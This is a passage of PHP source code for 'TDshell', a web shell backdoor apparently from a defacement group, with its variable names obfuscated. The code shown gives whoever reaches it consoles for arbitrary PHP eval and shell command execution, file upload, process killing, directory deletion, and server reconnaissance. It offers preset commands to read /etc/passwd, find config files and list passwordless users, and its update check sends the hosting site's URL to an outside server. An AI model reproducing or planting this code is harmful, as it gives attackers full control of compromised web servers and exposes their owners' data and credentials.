							elseif ($_2e5c25529adea7d7ad4802936aee0b48 == "delete")

								{

									$_2a46f3328eaed89ef8402d4effba331e = $_POST['confirm_delete'];

									if (!isset($_POST['confirm_delete']))

										{

											$_2211b5dc6bb7947adcb0bf14cee6591e = $_d3befca3813d65aff84c2353e705a0dd;

											$this->out("Are you sure you wish to delete directory <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b><br>" . '<form action="' . $this->make_link("dir", array("act" => "delete", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="confirm_delete" type="hidden" id="confirm_delete" value="YES"><input type="submit" value="Delete"></form>');

										}

									else

										{

											$_2211b5dc6bb7947adcb0bf14cee6591e = $_d3befca3813d65aff84c2353e705a0dd;

											if (!delete_directory($_d3befca3813d65aff84c2353e705a0dd))

												{

													$this->out("Are you sure you wish to delete directory <b>" . processdir($_2211b5dc6bb7947adcb0bf14cee6591e) . "</b><br><b>Failed!</b><br>" . '<form action="' . $this->make_link("dir", array("act" => "delete", "name" => $_d3befca3813d65aff84c2353e705a0dd), NULL, TRUE) . '" method="post"><input name="confirm_delete" type="hidden" id="confirm_delete" value="YES"><input type="submit" value="Delete"></form>');

												}

											else

												{

													$_2211b5dc6bb7947adcb0bf14cee6591e = @pathinfo($_2211b5dc6bb7947adcb0bf14cee6591e);

													$_2211b5dc6bb7947adcb0bf14cee6591e = $_2211b5dc6bb7947adcb0bf14cee6591e['dirname'];

													$this->out("<b>Directory Deleted.</b><br>" . $this->make_link("list", array("name" => $_2211b5dc6bb7947adcb0bf14cee6591e), "Click here to go back."));

												};

										}

								}

							else

								{

									$this->process("dir", array("name" => $_d3befca3813d65aff84c2353e705a0dd, "act" => "info"));

									return FALSE;

								};

						break;

						case "sql":

							$this->out("<center><b>(My)SQL Support will be added in future versions of TDshell.</b></center>");

						break;

						case "eval":

							$_202860a67864e2245a32e15193fe3cf4 = $_POST['evaldata'];

							$_4e708563acf942967766e0209568749c = $_POST['evalmethod'];

							if (empty($_202860a67864e2245a32e15193fe3cf4))

								{

									$this->out('<center><b>Evaluation Console</b></center><form method="post" action="' . $this->make_link("eval", NULL, NULL, TRUE) . '" enctype="multipart/form-data"><textarea name="evaldata" rows="15" id="evaldata" style="width:100%;"></textarea><input name="evalmethod" type="radio" value="textbox" checked>Display in TextBox<br><input name="evalmethod" type="radio" value="html">Display normally<br><input type="submit" value="Evaluate"></form>');

								}

							else

								{

									$_202860a67864e2245a32e15193fe3cf4 = @stripslashes($_202860a67864e2245a32e15193fe3cf4);

									if ($_4e708563acf942967766e0209568749c == "textbox")

										{

											@ob_start();

											eval($_202860a67864e2245a32e15193fe3cf4);

											$_abeb01d5ff8f108e1106e763a15f95ed .= @ob_get_clean();

											$_abeb01d5ff8f108e1106e763a15f95ed = @htmlspecialchars($_abeb01d5ff8f108e1106e763a15f95ed);

											$this->out('<center><b>Evaluation Console</b></center><form method="post" action="' . $this->make_link("eval", NULL, NULL, TRUE) . '" enctype="multipart/form-data"><textarea rows="15" id="evaldata" style="width:100%;">' . $_abeb01d5ff8f108e1106e763a15f95ed . '</textarea><textarea name="evaldata" rows="15" id="evaldata" style="width:100%;">' . @htmlspecialchars($_202860a67864e2245a32e15193fe3cf4) . '</textarea><input name="evalmethod" type="radio" value="textbox" checked>Display in TextBox<br><input name="evalmethod" type="radio" value="html">Display normally<br><input type="submit" value="Evaluate"></form>');

										}

									else

										{

											@ob_start();

											eval($_202860a67864e2245a32e15193fe3cf4);

											$_abeb01d5ff8f108e1106e763a15f95ed = @ob_get_clean();

											$this->out('<center><b>Evaluation Console</b></center><form method="post" action="' . $this->make_link("eval", NULL, NULL, TRUE) . '" enctype="multipart/form-data">' . $_abeb01d5ff8f108e1106e763a15f95ed . '<br><textarea name="evaldata" rows="15" id="evaldata" style="width:100%;">' . @htmlspecialchars($_202860a67864e2245a32e15193fe3cf4) . '</textarea><input name="evalmethod" type="radio" value="textbox">Display in TextBox<br><input name="evalmethod" type="radio" value="html" checked>Display normally<br><input type="submit" value="Evaluate"></form>');

										};

								};

						break;



						case "exec":

							$_2b2605084efea7c9994ec50aacf83c64 = $_POST['execdata'];

							$_4e708563acf942967766e0209568749c = $_POST['execmethod'];

							if (empty($_2b2605084efea7c9994ec50aacf83c64))

								{

									$_2b2605084efea7c9994ec50aacf83c64 = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['otherexec'];

								};

							if (empty($_4e708563acf942967766e0209568749c))

								{

									$_4e708563acf942967766e0209568749c = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['othermethod'];

								};

							if (empty($_2b2605084efea7c9994ec50aacf83c64))

								{

									$this->out('<center><b>Execution Console</b></center><form method="post" action="' . $this->make_link("exec", NULL, NULL, TRUE) . '" enctype="multipart/form-data"><textarea name="execdata" rows="15" id="execdata" style="width:100%;"></textarea><input name="execmethod" type="radio" value="textbox" checked>Display in TextBox<br><input name="execmethod" type="radio" value="html">Display normally<br><input type="submit" value="Execute"></form>');

								}

							else

								{

									$_2b2605084efea7c9994ec50aacf83c64 = @stripslashes($_2b2605084efea7c9994ec50aacf83c64);

									if ($_4e708563acf942967766e0209568749c == "textbox")

										{

											@ob_start();

											echo custom_exec($_2b2605084efea7c9994ec50aacf83c64);

											$_abeb01d5ff8f108e1106e763a15f95ed .= @ob_get_clean();

											$_abeb01d5ff8f108e1106e763a15f95ed = @htmlspecialchars($_abeb01d5ff8f108e1106e763a15f95ed);

											$this->out('<center><b>Execution Console</b></center><form method="post" action="' . $this->make_link("exec", NULL, NULL, TRUE) . '" enctype="multipart/form-data"><textarea rows="15" style="width:100%;">' . $_abeb01d5ff8f108e1106e763a15f95ed .'</textarea><textarea name="execdata" rows="15" id="execdata" style="width:100%;">' . htmlspecialchars($_2b2605084efea7c9994ec50aacf83c64) . '</textarea><input name="execmethod" type="radio" value="textbox" checked>Display in TextBox<br><input name="execmethod" type="radio" value="html">Display normally<br><input type="submit" value="Execute"></form>');

										}

									else

										{

											@ob_start();

											echo custom_exec($_2b2605084efea7c9994ec50aacf83c64);

											$_abeb01d5ff8f108e1106e763a15f95ed .= @ob_get_clean();

											$_abeb01d5ff8f108e1106e763a15f95ed = @htmlspecialchars($_abeb01d5ff8f108e1106e763a15f95ed);

											$this->out('<center><b>Execution Console</b></center><form method="post" action="' . $this->make_link("exec", NULL, NULL, TRUE) . '" enctype="multipart/form-data">' . $_abeb01d5ff8f108e1106e763a15f95ed . '<br><textarea name="execdata" rows="15" id="execdata" style="width:100%;">' . @htmlspecialchars($_2b2605084efea7c9994ec50aacf83c64) . '</textarea><input name="execmethod" type="radio" value="textbox" checked>Display in TextBox<br><input name="execmethod" type="radio" value="html">Display normally<br><input type="submit" value="Execute"></form>');

										};

								};

						break;



						case "proc":

							$_57eefc72bcbe3daf2bb185189468725a = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['do'];

							if (empty($_57eefc72bcbe3daf2bb185189468725a))

								{

									$_4bc9908fada98cbfd1396fceed921faa = '/^([A-Za-z0-9]*)\\s{1,}([0-9]{1,10})\\s{1,}.*[0-9]{1,}:[0-9]{2,}\\s(.*)$/';

							

									if (!($_c9a15425a6e12ac0295a2b759e048768 = custom_exec("ps aux")))

										{

											$this->out("<center>TDshell Process Manager Failed: No valid permissions.</center>");

											return FALSE;

										};

									$_c9a15425a6e12ac0295a2b759e048768 = @explode("\n", $_c9a15425a6e12ac0295a2b759e048768);

									foreach ($_c9a15425a6e12ac0295a2b759e048768 as $_6557ccde5bb0523391c98ec92365d5a9)

										{

											if (@preg_match($_4bc9908fada98cbfd1396fceed921faa, $_6557ccde5bb0523391c98ec92365d5a9, $_38c09efe88a67e6a5344c0bbcc44c7d4))

												{

													unset($_38c09efe88a67e6a5344c0bbcc44c7d4[0]);

													$_38c09efe88a67e6a5344c0bbcc44c7d4['FULL'] = $_6557ccde5bb0523391c98ec92365d5a9;

													$_15241b5cdd6d57b1fac3c1eb60905cd8[] = $_38c09efe88a67e6a5344c0bbcc44c7d4;

												};

										};

									natsort2d($_15241b5cdd6d57b1fac3c1eb60905cd8);

									$_10626691c8b3c6af89adc170cee73ebb = "";

									$_ee1cbb2fd23ff45ac77733a06636a3c7 = "";

									foreach ($_15241b5cdd6d57b1fac3c1eb60905cd8 as $_a3ae37119660c8023a43787f58268912)

										{

											$_8501d6dd59b45b2159f1f73f6e17b11f = @md5(@microtime() . $_a3ae37119660c8023a43787f58268912);

											$_46fc346549f1eeca72e169bb77bf12d8 = "";

											if ($_a3ae37119660c8023a43787f58268912[2] == @getmypid())

												{

													$_46fc346549f1eeca72e169bb77bf12d8 = " style='background-color:#FFFFF0'";

												};

											if ($_a3ae37119660c8023a43787f58268912[1] == @get_current_user())

												{

													$_a3ae37119660c8023a43787f58268912[1] = "<font color=green>$_a3ae37119660c8023a43787f58268912[1]</font>";

													$_10626691c8b3c6af89adc170cee73ebb .= "<tr$_46fc346549f1eeca72e169bb77bf12d8 title='" . @htmlspecialchars($_a3ae37119660c8023a43787f58268912['FULL'], ENT_QUOTES) . "'><td width=25%>$_a3ae37119660c8023a43787f58268912[1]</td><td width=25%>$_a3ae37119660c8023a43787f58268912[2]</td><td width=25%>$_a3ae37119660c8023a43787f58268912[3]</td><td width=25%>" . $this->make_link("proc", array("do" => "kill", "pid" => $_a3ae37119660c8023a43787f58268912[2]), "KILL") . " - " . '<a id="button_kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '" href="javascript:;" onclick=\'itemShowHide("kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '","button_kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '");\'>[+]</a><div id="kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '" style=\'display: none;\'><b>' . $_a3ae37119660c8023a43787f58268912['FULL'] . '</b></div>' . "</td></tr>";

												}

											else

												{

													$_ee1cbb2fd23ff45ac77733a06636a3c7 .= "<tr$_46fc346549f1eeca72e169bb77bf12d8 title='" . @htmlspecialchars($_a3ae37119660c8023a43787f58268912['FULL'], ENT_QUOTES) . "'><td width=25%>$_a3ae37119660c8023a43787f58268912[1]</td><td width=25%>$_a3ae37119660c8023a43787f58268912[2]</td><td width=25%>$_a3ae37119660c8023a43787f58268912[3]</td><td width=25%>" . $this->make_link("proc", array("do" => "kill", "pid" => $_a3ae37119660c8023a43787f58268912[2]), "KILL") . " - " . '<a id="button_kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '" href="javascript:;" onclick=\'itemShowHide("kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '","button_kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '");\'>[+]</a><div id="kill_proc_' . $_8501d6dd59b45b2159f1f73f6e17b11f . '" style=\'display: none;\'><b>' . $_a3ae37119660c8023a43787f58268912['FULL'] . '</b></div>' . "</td></tr>";

												};

										};

									$this->out("<table width=\"100%\"><tr><th>User</th><th>PID</th><th>Command</th><th>Actions</th>" . $_10626691c8b3c6af89adc170cee73ebb . $_ee1cbb2fd23ff45ac77733a06636a3c7 . "</table>");

								}

							else

								{

									$_6cac525ed87733d2d6bf528558ef4c06 = $_ec4ae32bf3e3a09bae7ff3e84ebbc667['pid'];

									if (custom_exec("kill " . @intval($_6cac525ed87733d2d6bf528558ef4c06)) === FALSE)

										{

											$this->out("<center><b>Could not kill process ID " . @intval($_6cac525ed87733d2d6bf528558ef4c06) . "</b></center>");

										}

									$this->process("proc");

								};

						break;

						case "update":

							$_c14f19c15d50e72a5733c0ad88a035b9 = @fopen("http://tdshell.thedefaced.org/latest.php?chk=" . @base64_encode(current_URI()), "r");

							while ((!@feof($_c14f19c15d50e72a5733c0ad88a035b9)) && ($_c14f19c15d50e72a5733c0ad88a035b9))

								{

									$_45e1fe4475ff3a7426e094d9638a5f22 .= @fread($_c14f19c15d50e72a5733c0ad88a035b9, 1024);

								};

							if ($_45e1fe4475ff3a7426e094d9638a5f22 == @md5($this->TDshell_version))

								{

									$this->out("<b><font color='green'>Your version of TDshell is up to date.</font></b>");

								}

							elseif (empty($_45e1fe4475ff3a7426e094d9638a5f22))

								{

									$this->out("<b><font color='red'>Error: Failed to retrieve latest version.</font></b>");

								}

							else

								{

									$this->out("<b><font color='red'>Your version of TDshell is out of date. <a href='http://tdshell.thedefaced.org/'>Please replace your current shell with the latest version located here.</a></font></b>");

								};

						break;

						case "mkdir":

							$_0b63e7829d4893613b17575c517db17d = $_POST['mkdir'];

							if (empty($_0b63e7829d4893613b17575c517db17d))

								{

									$this->out("<center><b>Could not create directory, empty name provided.</b></center>");

									$this->process("list");

								}

							else

								{

									if (!@mkdir($_0b63e7829d4893613b17575c517db17d, 0777))

										{

											$this->out("<center><b>Could not create directory, permission denied.</b></center>");

											$this->process("list");

										}

									else

										{

											@clearstatcache();

											$this->process("list", array("dir" => $_0b63e7829d4893613b17575c517db17d));

										};

								};

						break;

						case "godir":

							$_942922064772e69fea37ad32e72dfd70 = $_POST['godir'];

							$this->process("list", array("dir" => $_942922064772e69fea37ad32e72dfd70));

						break;

						case "mkfile":

							$_0dc4ed3391208760f7f43fc80a2441e5 = $_POST['mkfile'];

							if (!@fopen($_0dc4ed3391208760f7f43fc80a2441e5, "w"))

								{

									$this->out("<center><b>Could not make file, permission denied.</b></center>");

									$this->process("list");

								}

							else

								{

									$this->process("file", array("act" => "edit", "name" => $_0dc4ed3391208760f7f43fc80a2441e5));

								};

						break;

						case "gofile":

							$_cacb8c32699f649131f8eaa04c25222c = $_POST['gofile'];

							$this->process("file", array("act" => "view", "name" => $_cacb8c32699f649131f8eaa04c25222c));

						break;

						case "upload":

							$_031d648129f7450af0529cbf0825fd58 = $_POST['destination'];

							$_8add29b89df2cfe7786dd8ba967ff1e2 = $_031d648129f7450af0529cbf0825fd58 . @basename($_FILES['file']['name']);

							if (@move_uploaded_file($_FILES['file']['tmp_name'], $_8add29b89df2cfe7786dd8ba967ff1e2))

								{

							    	$this->process("file", array("act" => "edit", "name" => $_8add29b89df2cfe7786dd8ba967ff1e2));

								}

							else

								{

								    $this->out("<center><b>Error uploading file!</b></center>");

								};

						break;

						case "ping":

							$this->out("be457c74983226e519e3564f8699eb4e");

						break;

						case "alias":

							$_93ddad4f44750399cbee70b6508b6ea3 = $_POST['alias'];

							$this->process("exec", array("otherexec" => $_93ddad4f44750399cbee70b6508b6ea3, "othermethod" => "textbox"));

						break;

						case "":

							$this->process("list", $_ec4ae32bf3e3a09bae7ff3e84ebbc667);

						break;

						case "credits":

							$this->out("<b>" . $this->TDshell_version . "</b> - Credits<br>");

							$this->out("www.TheDefaced.org<br>

Debug: For critical development and idea planning of the shell<br>

x2Fusion: For crutial ideas and planning of the development of the shell<br>

Kr3w: For inspirational ideas that contributed greatly to the project<br>

Tr3mbl3r: With massive ideas for development and features that he planned<br><br>TDshell homepage located <a href='http://tdshell.thedefaced.org/'>here</a>.");

						break;

						case @base64_decode("OTQ1VU84VUVSLTQzOFVFOVJJT0dILTVZUlRHVTlJT1JUTkhHRTVULTQzNVRVR0ZJNUgzNFRBVzk4NC00LTMtMzQ1VERGUw=="):

							$this->out(base64_decode("QSBCYW5zaGVlIFRoZSBXaWx0DQpDYW5jZWwgQW5kIFJlYWwNCkhhdCBUaGlucyBUd28NCkVhdGVuIE91dHMgWW93DQoNCkk0U0g4SUZI"));

						break;

												default:

							@ob_start();

							print_r($_ec4ae32bf3e3a09bae7ff3e84ebbc667);

							$_bb8084d9c33052d4e3d1354f2746b6bb = @ob_get_clean();

							$this->out("<b>Error: could not process your request; the act does not exist.</b><br><pre>Act: $_2e5c25529adea7d7ad4802936aee0b48\n$_bb8084d9c33052d4e3d1354f2746b6bb</pre><br>");

						break;

					};

			}

		

		function header()

			{

				$this->out_template("HTML_HEADER_MAIN");

				$this->out_template("HTML_HEADER_HEAD_PRE");

				$this->out_template("HTML_HEADER_HEAD_TITLE");

				$this->out_template("HTML_HEADER_HEAD_SCRIPT");

				$this->out_template("HTML_HEADER_HEAD_STYLE");

				$this->out_template("HTML_HEADER_HEAD_SUF");

				$this->out_template("HTML_HEADER_BODY_PRE");

			}

		

		function footer($_948b7576a20aa0bb3f1d2055da74156c)

			{

				$this->out_template("HTML_HEADER_BODY_SUF");

				$this->out(@str_replace("{TIME_TAKEN}", $_948b7576a20aa0bb3f1d2055da74156c, $this->get_template("HTML_FOOTER_MAIN")));

			}

		

		function out($_45e1fe4475ff3a7426e094d9638a5f22)

			{

				$this->TDshell_data .= $_45e1fe4475ff3a7426e094d9638a5f22;

			}

		

		function outall()

			{

				echo $this->sanitize_output($this->TDshell_data);

			}

		

		function set_template($_d3befca3813d65aff84c2353e705a0dd, $_d52f547da0e098832b6b81469d36c48b)

			{

				$this->TDshell_template[$_d3befca3813d65aff84c2353e705a0dd] = $_d52f547da0e098832b6b81469d36c48b;

			}

		

		function make_link($_2e5c25529adea7d7ad4802936aee0b48, $_ec4ae32bf3e3a09bae7ff3e84ebbc667 = array(), $_a70fd9147fda16858f57fe0479d66df0 = "", $_c8872ae6a7d8ea0f53e6e72ed2ceeac1 = FALSE)

			{

				if (!empty($_2e5c25529adea7d7ad4802936aee0b48))

					{

						$_7622cf6629732edc545313527c803112 = "act=$_2e5c25529adea7d7ad4802936aee0b48";

					}

				if (!empty($_ec4ae32bf3e3a09bae7ff3e84ebbc667))

					{

						if (!empty($_ec4ae32bf3e3a09bae7ff3e84ebbc667))

							{

								if (empty($_2e5c25529adea7d7ad4802936aee0b48))

									{

										$_7622cf6629732edc545313527c803112 .= "args=";

									}

								else

									{

										$_7622cf6629732edc545313527c803112 .= "&args=";

									};

								foreach ($_ec4ae32bf3e3a09bae7ff3e84ebbc667 as $_ddc2938d74cdbcf22f9ecfaf2f1fb5be => $_c7104b3e36401bf0c1d4a5788ac2ad69)

									{

										$_7622cf6629732edc545313527c803112 .= @base64_encode($_ddc2938d74cdbcf22f9ecfaf2f1fb5be . ":" . $_c7104b3e36401bf0c1d4a5788ac2ad69) . "-";

									};

								if (@substr($_7622cf6629732edc545313527c803112, -1) == "-")

									{

										$_7622cf6629732edc545313527c803112 = @substr($_7622cf6629732edc545313527c803112, 0, @strlen($_7622cf6629732edc545313527c803112) -1);

									};

							};

					};

				$_42a6152a4d7c7d957669c6d70dc5ba87 = 'http';

				if ($_SERVER["HTTPS"] == "on")

					{

						$_42a6152a4d7c7d957669c6d70dc5ba87 .= "s";

					};

				$_42a6152a4d7c7d957669c6d70dc5ba87 .= "://";

				if ($_SERVER["SERVER_PORT"] != "80")

					{

  						$_42a6152a4d7c7d957669c6d70dc5ba87 .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["SCRIPT_NAME"];

					}

				else

					{

  						$_42a6152a4d7c7d957669c6d70dc5ba87 .= $_SERVER["SERVER_NAME"].$_SERVER["SCRIPT_NAME"];

 					};

 				if (!$_c8872ae6a7d8ea0f53e6e72ed2ceeac1)

 					{

		 				if (empty($_7622cf6629732edc545313527c803112))

		 					{

								$_42a6152a4d7c7d957669c6d70dc5ba87 = $_42a6152a4d7c7d957669c6d70dc5ba87 . "?" . "proc=out";

							}

						else

							{

								$_42a6152a4d7c7d957669c6d70dc5ba87 = $_42a6152a4d7c7d957669c6d70dc5ba87 . "?" . $_7622cf6629732edc545313527c803112 . "&proc=out";

							};

					}

				else

					{

						if (empty($_7622cf6629732edc545313527c803112))

			 					{

									$_42a6152a4d7c7d957669c6d70dc5ba87 = $_42a6152a4d7c7d957669c6d70dc5ba87 . "?";

								}

							else

								{

									$_42a6152a4d7c7d957669c6d70dc5ba87 = $_42a6152a4d7c7d957669c6d70dc5ba87 . "?" . $_7622cf6629732edc545313527c803112;

								};

					};

				$_3d1e4e37e3bb032a675f9b0de015bfca = $this->get_template("HTML_REL_LINK_BEG_PRE");

				$_3581e843f20285ea83417f61211d475a = $this->get_template("HTML_REL_LINK_BEG_SUF");

				$_7ebad0a61068a13c2d289a738022186a = $this->get_template("HTML_REL_LINK_END");

				if (!$_c8872ae6a7d8ea0f53e6e72ed2ceeac1)

					{

						return $_3d1e4e37e3bb032a675f9b0de015bfca . $_42a6152a4d7c7d957669c6d70dc5ba87 . $_3581e843f20285ea83417f61211d475a . $_a70fd9147fda16858f57fe0479d66df0 . $_7ebad0a61068a13c2d289a738022186a;

					}

				else

					{

						return $_42a6152a4d7c7d957669c6d70dc5ba87;

					};

			}

		

		function out_template($_d3befca3813d65aff84c2353e705a0dd)

			{

				$this->out($this->TDshell_template[$_d3befca3813d65aff84c2353e705a0dd]);

			}

		

		function get_template($_d3befca3813d65aff84c2353e705a0dd)

			{

				return $this->TDshell_template[$_d3befca3813d65aff84c2353e705a0dd];

			}

		

		function sanitize_output($_5d28db41dd3b63b0ad9702e535eedd73)

			{

			    $_c15977bdc89c079bde3a6687c20c1719 = array(

			        '/\>[^\S ]+/s',

			        '/[^\S ]+\</s'

			        );

			    $_0cb75167c55d51f5653f1217678b8a57 = array(

			        '>',

			        '<'

			        );

			  $_5d28db41dd3b63b0ad9702e535eedd73 = @preg_replace($_c15977bdc89c079bde3a6687c20c1719, $_0cb75167c55d51f5653f1217678b8a57, $_5d28db41dd3b63b0ad9702e535eedd73);

			    return $_5d28db41dd3b63b0ad9702e535eedd73;

			}

		function content_bottom_ext()

			{

				return '<table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

	<th>

		Quick Execute

	</th>

	<th>

		Quick Eval

	</th>

</tr>

  <tr>

    <td width="50%"><form method="post" action="' . $this->make_link("exec", NULL, NULL, TRUE) . '"><input type="text" name="execdata" style="width:95%"><input type="hidden" name="execmethod" value="textbox"><br><input type="submit" name="Submit" value="Go"></form></td>

    <td width="50%"><form method="post" action="' . $this->make_link("eval", NULL, NULL, TRUE) . '"><input type="text" name="evaldata" style="width:95%"><input name="evalmethod" type="hidden" id="evalmethod" value="textbox"><br><input type="submit" name="Submit" value="Go">

    </form></td>

  </tr>

 <tr>

	<th>

		Make Directory

	</th>

	<th>

		Go to Directory </th>

</tr>

  <tr>

    <td width="50%"><form method="post" action="' . $this->make_link("mkdir", NULL, NULL, TRUE) . '"><input name="mkdir" type="text" id="mkdir" style="width:95%" value="' . @realpath(".") . DIRECTORY_SEPARATOR . '"><br>

        <input type="submit" name="Submit" value="Go"></form></td>

    <td width="50%"><form method="post" action="' . $this->make_link("godir", NULL, NULL, TRUE) . '"><input name="godir" type="text" id="godir" style="width:95%" value="' . @realpath(".") . DIRECTORY_SEPARATOR . '"><br>

        <input type="submit" name="Submit" value="Go">

    </form></td>

  </tr>

 <tr>

	<th>

		Make File

	</th>

	<th>

		Go to File

	</th>

</tr>

  <tr>

    <td width="50%"><form method="post" action="' . $this->make_link("mkfile", NULL, NULL, TRUE) . '"><input name="mkfile" type="text" id="mkfile" style="width:95%" value="' . @realpath(".") . DIRECTORY_SEPARATOR . '"><br>

        <input type="submit" name="Submit" value="Go"></form></td>

    <td width="50%"><form method="post" action="' . $this->make_link("gofile", NULL, NULL, TRUE) . '"><input name="gofile" type="text" id="gofile" style="width:95%" value="' . @realpath(".") . DIRECTORY_SEPARATOR . '"><br>

        <input type="submit" name="Submit" value="Go">

    </form></td>

  </tr>

   <tr>

	<th>

		Upload File

	</th>

	<th>

		Alias Commands

	</th>

</tr>

  <tr>

    <td width="50%"><form method="post" action="' . $this->make_link("upload", NULL, NULL, TRUE) . '" enctype="multipart/form-data"><input type="file" name="file"><input name="destination" type="text" id="destination" style="width:95%" value="' . @realpath(".") . DIRECTORY_SEPARATOR . '"><br>

        <input type="submit" name="Submit" value="Go"></form></td>

	    <td width="50%"><form method="post" action="' . $this->make_link("alias", NULL, NULL, TRUE) . '">

	<select name="alias">

		<option value="ls -la">List current directory</option>

		<option value="find . -name \'*config*\'">Find config files</option>

		<option value="cat /etc/passwd">View etc/passwd</option>

		<option value="cut -d: -f1,2,3 /etc/passwd | grep ::">View users without password</option>

		<option value="cat /proc/version /proc/cpuinfo">CPU Information</option>

		<option value="netstat -atup | grep IST">Open Ports</option>

	</select>

	<input type="submit" name="Submit" value="Go">

</form></td>

  </tr>

</table>';

			}

		function content_top_ext()

			{

				$_a9e5405d6581811dbff46e9ca3280bc1 .= "<center><b>Server Information</b>:</center>";

				$_074b7814a5770494227ce06e81ff999a = @getenv("SERVER_SOFTWARE");

				$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Software</b>: " . @htmlspecialchars($_074b7814a5770494227ce06e81ff999a) . "<br>";

				if (($_600528b2c16959ec0b7415143daf3c2c = custom_exec("uptime")))

					{

						$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Uptime</b>: $_600528b2c16959ec0b7415143daf3c2c<br>";

					};

				

				$_4894710f990f9bda9ef69a94d3de9a25 = @wordwrap(@php_uname(),100,"<br>",1);

				$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>System Info</b>: " . $_4894710f990f9bda9ef69a94d3de9a25 . "<br>";

				$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Disabled Functions</b>: ";

				if('' == ($_404553cd7b56719c358d1c6d76f88164 = @ini_get('disable_functions')))

					{

						$_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=green>NONE</font><br>";

					}

				else

					{

						$_404553cd7b56719c358d1c6d76f88164 = @explode(",", $_404553cd7b56719c358d1c6d76f88164);

						$_4b61f566d85332046e5ea8c39d5595a9 = "";

						foreach ($_404553cd7b56719c358d1c6d76f88164 as $_96a32437f909f9609d8bb97987165016)

							{

								$_96a32437f909f9609d8bb97987165016 = @trim($_96a32437f909f9609d8bb97987165016);

								$_4b61f566d85332046e5ea8c39d5595a9 .= "<a href='http://php.net/" . $_96a32437f909f9609d8bb97987165016 . "' target='_target'>" . $_96a32437f909f9609d8bb97987165016 . "</a>" . ",";

							};

						$_4b61f566d85332046e5ea8c39d5595a9 = @substr($_4b61f566d85332046e5ea8c39d5595a9, 0, @strlen($_4b61f566d85332046e5ea8c39d5595a9) - 1);

						$_a9e5405d6581811dbff46e9ca3280bc1 .= "$_4b61f566d85332046e5ea8c39d5595a9<br>";

					};

				if(@ini_get("register_globals"))

					{

						$_0b72c338824fc598846641f1733ded93 = "<font color=green>ON</font><br>";

					}

				else

					{

						$_0b72c338824fc598846641f1733ded93 = "<font color=red>OFF</font><br>";

					};

				$_4aa5a13a07418cb3b1f532b2f73d68ae = @function_exists('mysql_connect');

				$_d264811448b31fb4b2772b416c9b6342 = @function_exists('mssql_connect'); 

				$_4faecc09d416a70e7c85c211689f976c = @function_exists('pg_connect'); 

				$_8050813e45b77747b44bfa1e66edf6e1 = @function_exists('ocilogon'); 

				if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")

					{

						$_ff72ae8d0a7c203fdca8802a4a3d4743 = "<font color=red>ON (secure)</font>";

					}

				else

					{

						$_ff72ae8d0a7c203fdca8802a4a3d4743 = "<font color=green>OFF (not secure)</font>";

					};

				$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>MySQL</b>: ";

				if ($_4aa5a13a07418cb3b1f532b2f73d68ae)

					{

						$_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=green>ON</font>";

					}

				else

					{

						$_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=red>OFF</font>";

					};

				$_a9e5405d6581811dbff46e9ca3280bc1 .= "<br>";

								$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>MSSQL</b>: ";

				if ($_d264811448b31fb4b2772b416c9b6342)

					{

						$_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=green>ON</font>";

					}

				else

					{

						$_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=red>OFF</font>";

					};

				$_a9e5405d6581811dbff46e9ca3280bc1 .= "<br>";

								$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>PostgreSQL</b>: ";

				if ($_4faecc09d416a70e7c85c211689f976c)

					{

						$_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=green>ON</font>";

					}

				else

					{

						$_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=red>OFF</font>";

					};

				$_a9e5405d6581811dbff46e9ca3280bc1 .= "<br>";

								$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Oracle</b>: ";

				if ($_8050813e45b77747b44bfa1e66edf6e1)

					{

						$_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=green>ON</font>";

					}

				else

					{

						$_a9e5405d6581811dbff46e9ca3280bc1 .= "<font color=red>OFF</font>";

					};

				$_a9e5405d6581811dbff46e9ca3280bc1 .= "<br>";

								$_a9e5405d6581811dbff46e9ca3280bc1 .= "<b>Safemode</b>: ";

				$_a9e5405d6581811dbff46e9ca3280bc1 .= $_ff72ae8d0a7c203fdca8802a4a3d4743 . "<br>";

				$_d94dc5b08d928c237d98b0ed89179043 = @disk_free_space("./");

				$_7467c53f177b1d289f3e1b2e395b9056 = @disk_total_space("./");

				if ($_d94dc5b08d928c237d98b0ed89179043 === FALSE) {$_d94dc5b08d928c237d98b0ed89179043 = 0;}

				if ($_7467c53f177b1d289f3e1b2e395b9056 === FALSE) {$_7467c53f177b1d289f3e1b2e395b9056 = 0;}

				if ($_d94dc5b08d928c237d98b0ed89179043 < 0) {$_d94dc5b08d928c237d98b0ed89179043 = 0;}

				if ($_7467c53f177b1d289f3e1b2e395b9056 < 0) {$_7467c53f177b1d289f3e1b2e395b9056 = 0;}

				$_c3574082b118679ba0bc952292c18820 = @round(100/($_7467c53f177b1d289f3e1b2e395b9056/$_d94dc5b08d928c237d98b0ed89179043),2);

